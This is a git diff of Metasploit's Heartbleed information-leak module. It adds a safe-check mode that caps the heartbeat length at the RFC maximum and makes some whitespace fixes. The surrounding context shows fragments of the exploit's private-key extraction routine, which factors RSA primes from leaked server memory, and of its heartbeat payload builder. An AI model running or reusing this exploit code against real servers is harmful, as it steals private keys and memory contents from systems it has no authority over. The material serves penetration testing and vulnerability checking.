@@ -83,6 +83,9 @@ class Metasploit3 < Msf::Auxiliary
83
83
'FTP' => :tls_ftp
84
84
}
85
85
86
+ # See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
87
+ SAFE_CHECK_MAX_RECORD_LENGTH = ( 1 << 14 )
88
+
86
89
def initialize
87
90
super (
88
91
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak' ,
@@ -148,6 +151,16 @@ def initialize
148
151
149
152
end
150
153
154
+ def check_host ( ip )
155
+ @check_only = true
156
+ vprint_status "#{ peer } - Checking for Heartbleed exposure"
157
+ if bleed
158
+ Exploit ::CheckCode ::Appears
159
+ else
160
+ Exploit ::CheckCode ::Safe
161
+ end
162
+ end
163
+
151
164
def run
152
165
if heartbeat_length > 65535 || heartbeat_length < 0
153
166
print_error ( "HEARTBEAT_LENGTH should be a natural number less than 65536" )
@@ -157,8 +170,16 @@ def run
157
170
super
158
171
end
159
172
173
+ # If this is merely a check, set to the RFC-defined
174
+ # maximum padding length of 2^14. See:
175
+ # https://tools.ietf.org/html/rfc6520#section-4
176
+ # https://github.com/rapid7/metasploit-framework/pull/3252
160
177
def heartbeat_length
161
- datastore [ "HEARTBEAT_LENGTH" ]
178
+ if @check_only
179
+ SAFE_CHECK_MAX_RECORD_LENGTH
180
+ else
181
+ datastore [ "HEARTBEAT_LENGTH" ]
182
+ end
162
183
end
163
184
164
185
def peer
@@ -351,13 +372,13 @@ def getkeys()
351
372
print_error ( 'TLS callbacks currently unsupported for keydumping action' ) #TODO
352
373
return
353
374
end
354
-
375
+
355
376
print_status ( "#{ peer } - Scanning for private keys" )
356
377
count = 0
357
378
358
379
print_status ( "#{ peer } - Getting public key constants..." )
359
380
n , e = get_ne
360
-
381
+
361
382
if n . nil? || e . nil?
362
383
print_error ( "#{ peer } - Failed to get public key, aborting." )
363
384
end
@@ -373,8 +394,8 @@ def getkeys()
373
394
end
374
395
375
396
p , q = get_factors ( bleed , n ) # Try to find factors in mem
376
-
377
- unless p . nil? || q . nil?
397
+
398
+ unless p . nil? || q . nil?
378
399
key = key_from_pqe ( p , q , e )
379
400
print_good ( "#{ peer } - #{ Time . now . getutc } - Got the private key" )
380
401
@@ -393,7 +414,7 @@ def getkeys()
393
414
count += 1
394
415
}
395
416
print_error ( "#{ peer } - Private key not found. You can try to increase MAX_KEYTRIES." )
396
- end
417
+ end
397
418
398
419
def heartbeat ( length )
399
420
payload = "\x01 " # Heartbeat Message Type: Request (1)
0 commit comments